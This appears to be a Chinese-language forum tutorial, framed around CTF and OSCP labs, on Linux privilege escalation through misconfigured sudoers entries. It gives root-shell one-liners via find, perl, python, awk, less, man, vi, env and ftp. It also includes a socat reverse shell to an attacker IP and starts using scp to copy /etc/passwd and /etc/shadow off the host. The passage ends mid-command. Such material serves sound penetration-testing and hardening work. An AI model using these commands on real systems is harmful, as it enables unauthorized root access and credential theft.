taibeihacker
Moderator
0x00 前言
在我們之前的文章中,我們討論瞭如何使用SUID二進製文件和/etc/passwd文件的Linux權限提陞技巧,今天我們發布了另一種“使用Sudoers文件進行Linux權限提示技巧”的方法。 在解決CTF挑戰時,對於權限提升,我們始終通過執行sudo -l命令來檢查任何用戶執行任何文件或命令的root權限。 您可以閱讀我們之前的文章,其中我們已應用此技巧進行權限提升。0x01 sudoer基础
1.基本概念
在Linux/Unix中,/etc目錄下的sudoers文件是sudo權限的配置文件。我們都知道sudo命令的強大功能,sudo這個詞代表了超級用戶權限。 Sudoers文件是存儲具有root權限的用戶和組的文件,以root或其他用戶身份運行部分或全部命令。請看下圖:
當與sudo一起運行任何命令時,它需要root權限才能執行,Linux會檢查sudoers文件中的特定用戶名。並給出結論,特定的用戶名是否在sudoers文件列表中,如果沒有,那麼就不能使用sudo命令運行命令或程序。根據sudo權限,root用戶可以從ALL終端執行,充當所有用戶:all group,並運行ALL命令。
2.Sudoer文件语法
如果(root用戶)希望授予任何特定用戶sudo權限,請輸入visudo命令,該命令將打開sudoers文件進行編輯。在用戶權限規範下,您將看到默認的root權限“root ALL =(ALL:ALL)ALL”,但在實際情況下,還提供了標記選項,這是可選的,如下圖所示。考慮下面的示例,我們要為用戶raaz分配sudo權限,raaz訪問終端並使用root權限運行copy命令。這裡沒有密碼標籤,這意味著不會為用戶請求密碼。
注意:(ALL:ALL)也可以表示為(ALL)
如果您找到(root)代替(ALL:ALL),則表示用戶可以以root身份運行該命令
如果沒有提及用戶或組,則表示sudo默認為root用戶

讓我們深入了解實際情況。首先,創建一個不屬於sudo組的用戶。這裡我們添加了用戶“raaz”,其uid為1002,gid為1002,因此raaz是非root用戶

0x02 分配root权限的方法
1.分配Root权限的传统方法
如果系統管理員希望授予用戶raaz所有權限,那麼他可以按照以下步驟在用戶權限規範類別下添加用戶raaz。visudo
raaz ALL=(ALL:ALL) ALL
or
raaz ALL=(ALL) ALL

(1) 生成root访问
另一方面,啟動攻擊主機,首先攻擊目標系統,然後進入特權提升階段。假設您成功地通過ssh登錄到受害者的主機,並且想知道當前用戶的sudo權限,然後執行下面的命令sudo -l
在傳統方法中,passwd選項在執行上述命令的同時來啟用用戶身份驗證,並且可以使用nopasswd選項來禁用它。突出顯示的文本表示當前用戶被授權執行的所有命令。因此,我們通過執行命令獲得了root訪問權限。
sudo su
id

2.分配root权限的默认方法
如果系統管理員想要授予用戶raaz執行所有命令和程序的root權限,那麼他可以按照以下步驟在用戶權限規範類別下添加用戶raaz。visudo
raaz ALL=ALL
or
raaz ALL=(root) ALL
此處還啟用了默認的passwd選項來進行身份驗證。

(1).生成root访问
再次攻擊目標系統,然後按照上述步驟進入權限提升階段,並執行以下命令以查看sudo用戶列表sudo -l
在這裡,您可以看到突出顯示的文本,該文本表示用戶raaz可以以root用戶身份運行所有命令。因此,我們可以通過執行更多的下行步驟來實現root訪問
sudosu
or
sudobash
注意:在執行sudo-l命令時,上述兩種方法都會要求用戶密碼進行身份驗證,因為默認情況下啟用了passwd選項。

0x03 提权技巧
1.允许二进制命令的Root权限
有時用戶有權執行特定目錄的任何文件或命令,如/bin/cp、/bin/cat或/usr/bin/find,這種類型的權限會導致root權限的權限提升,可以通過以下步驟來實現。raaz ALL=(root) NOPASSWD: /usr/bin/find
注意:此處NOPASSWD選項表示在運行sudo -l命令時將不會為身份驗證請求密碼。

(1) 使用Find命令生成Root访问权限
再次攻擊受害者的系統,然後進入特權升級階段,執行下面的命令查看sudo用戶列表。sudo-l
此時,您可以注意到突出顯示的文本表示用戶raaz可以通過find命令運行任何命令。因此,我們通過執行以下命令獲得root訪問權限。
sudofind/home-exec/bin/bash\;
id

2.允许二进制程序的root权限
有時,管理員會為特定用戶分配精細的權限,以運行二進製程序,允許用戶編輯任何系統文件,如/etc/passwd等。如果授權給用戶,某些二進製程序可能會導致權限提升。在下面給出的命令中,我們為以下程序分配了sudo權限,該程序可以以root用戶身份運行。 raaz ALL=(root) NOPASSWD: /usr/bin/perl, /usr/bin/python, /usr/bin/less, /usr/bin/awk, /usr/bin/man, /usr/bin/vi
(1) 使用Perl单命令生成shell
權限提升時,在權限提升階段執行以下命令以查看sudo用戶列表。sudo -l
現在您可以看到突出顯示的文本,顯示用戶raaz可以以root用戶身份運行Perl語言程序或腳本。因此,我們通過執行Perl單命令獲得root訪問權限。
sudo perl -e 'exec '/bin/bash';'
id

(2) 使用Python单命令生成shell
在攻擊目標系統之後,然後如上所述那樣進入特權提升階段,執行以下命令以查看sudo用戶列表sudo -l
此時,您可以看到突出顯示的文本,顯示用戶raaz可以以root用戶身份運行python語言程序或腳本。因此,我們通過執行python單命令獲得root訪問權限。
sudo python -c 'import pty;pty.spawn('/bin/bash')'
id

(3) 使用Less命令生成shell
權限提升時,在權限提升階段執行以下命令以查看sudo用戶列表。sudo -l

在這裡,您可以看到突出顯示的文本,該文本表示用戶raaz可以以root用戶身份運行less命令。因此,我們通過執行以下命令來獲得root訪問權限。
sudo less /etc/hosts

它將打開請求的系統文件進行編輯,但是為了生成root shell,在編輯器中輸入!bash,並按Enter鍵生成。
您將獲得root訪問權限,如下圖所示。
(4) 使用AWK單命令生成shell
在攻擊受害者係統之後,目標系統會像上述那樣進入特權提升階段,執行以下命令以查看sudo用戶列表
sudo -l
在此階段,您可以看到突出顯示的文本,該文本表示用戶raaz可以以root用戶身份運行AWK命令。因此,我們通過執行以下命令來獲得root訪問權限。
sudo awk 'BEGIN {system('/bin/bash')}'
id

(5) 使用Man命令生成shell
權限提升時,在權限提升階段執行以下命令以查看sudo用戶列表。sudo -l
在這裡,您可以看到突出顯示的文本,該文本表示用戶raaz可以以root用戶身份運行man命令。因此,我們通過執行以下命令來獲得root訪問權限。
sudo man man

它將打開請求的系統文件進行編輯,但是為了生成root shell,在編輯器中輸入!bash,並按Enter鍵生成。

您將獲得root訪問權限,如下圖所示。

(6) 使用Vi编辑器生成shell
權限提升時,在權限提升階段執行以下命令以查看sudo用戶列表。sudo -l
在這裡,您可以看到突出顯示的文本,該文本表示用戶raaz可以以root用戶身份運行vi命令。因此,我們通過執行以下命令來獲得root訪問權限。
sudo vi

因此,它將打開vi編輯器進行編輯,但是為了生成root shell,在編輯器中輸入!bash,並按Enter鍵生成。就可以像上面那樣使用less命令獲得root權限。

您將獲得root訪問權限,如下圖所示。
id
whoami
注意:對less,nano,man,vi和man的sudo的權限非常危險,因為它們允許用戶編輯系統文件並導致權限提升。

3.允许Shell脚本的root权限
對於系統或程序調用,有最大的機會獲得任何類型的腳本的權限提升,它可以是任何腳本(bash、php、python或c語言腳本)。假設您(系統管理員)想要對任何將在執行時提供bash shell的腳本賦予sudo權限。例如,我們有一些腳本將在執行時提供root命令終端,在下圖中,您可以看到我們已經編寫了3個程序,通過使用不同的編程語言來獲取bash shell,並將所有三個文件都保存在bin/script中,該三個文件為:asroot.py、asroot.sh、asroot.c(編譯文件shell)
注意:在解決OSCP挑戰時,您會發現某些腳本被作者隱藏,用於利用內核或root shell,並為任何特定用戶設置sudo權限以執行該腳本。

現在允許raaz以root用戶身份運行以上所有腳本,方法是在以下命令的幫助下編輯sudoers文件。
raaz ALL=(root) NOPASSWD: /bin/script/asroot.sh, /bin/script/asroot.py, /bin/script/shell

(1) 通过执行Bash脚本生成root shell
執行下面的權限提升命令以查看sudo用戶列表。sudo -l
突出顯示的文本顯示用戶raaz可以作為root用戶運行asroot.sh。因此,我們通過運行asroot.sh腳本獲得root訪問權限。
sudo /bin/script/asroot.sh
id

(2) 通过执行Python脚本生成root shell
執行下面的權限提升命令以查看sudo用戶列表sudo -l
此時,突出顯示的文本顯示用戶raaz可以作為root用戶運行asroot.py。因此,我們通過執行以下腳本獲取了root訪問權限。
sudo /bin/script/asroot.py
id

(3) 通过执行C语言脚本生成root shell
在攻擊目標系統之後,執行下面的權限提升命令以查看sudo用戶列表。sudo -l
在這裡,您可以看到突出顯示的文本,表示用戶raaz可以以root用戶身份運行shell(asroot.c編譯文件)。所以我們通過執行以下shell獲得了root訪問權限。
sudo /bin/script/shell
id

4.允许其他程序的sudo权限
正如上面所看到的那樣,一些具有sudo權限的二進製程序有助於獲得root訪問權限。但除此之外,還有一些應用程序可以活得root訪問權限,如果擁有sudo權限,如FTP或socat。在下面給出的命令中,我們為以下程序分配了sudo權限,該程序可以以root用戶身份運行。raaz ALL=(ALL) NOPASSWD: /usr/bin/env, /usr/bin/ftp, /usr/bin/scp, /usr/bin/socat

(1) 使用环境生成Shell
在權限提升階段,執行以下命令查看sudo用戶列表。sudo -l
正如我們可以看到的用戶:raaz對env、ftp、scp和socat擁有sudo權限,現在讓我們逐個嘗試通過它們獲得root訪問權限。
sudo env /bin/bash
whoami

(2) 使用FTP生成Shell
現在讓我們嘗試使用以下命令通過FTP獲得root訪問權限:sudo ftp
! /bin/bash
whoami
or
! /bin/sh
id
whoami

(3) 使用Socat生成Shell
現在讓我們嘗試通過socat在以下命令的幫助下獲得root訪問權限。在攻擊者的終端上執行以下命令,以使偵聽器能夠進行反向連接。socat file:`tty`,raw,echo=0 tcp-listen:1234
然後在受害者的主機上運行以下命令,您將在攻擊者計算機上獲得root訪問權限。
sudo socat exec:'sh -li',pty,stderr,setsid,sigint,sane tcp:192.168.1.105:1234


(4) 通过SCP生成shell
正如我們所知,sudo權限對於scp是可用的,但不可能獲得如上所示的bash shell目錄,因為它是一種安全地在本地主機和遠程主機之間移動任何文件的方法。因此,我們可以使用它來傳輸那些需要root權限來執行讀/寫操作的系統文件,例如/etc/passwd和/etc/shadow文件。语法:scp SourceFile user@host:~/目錄路徑
sudo scp /etc/passw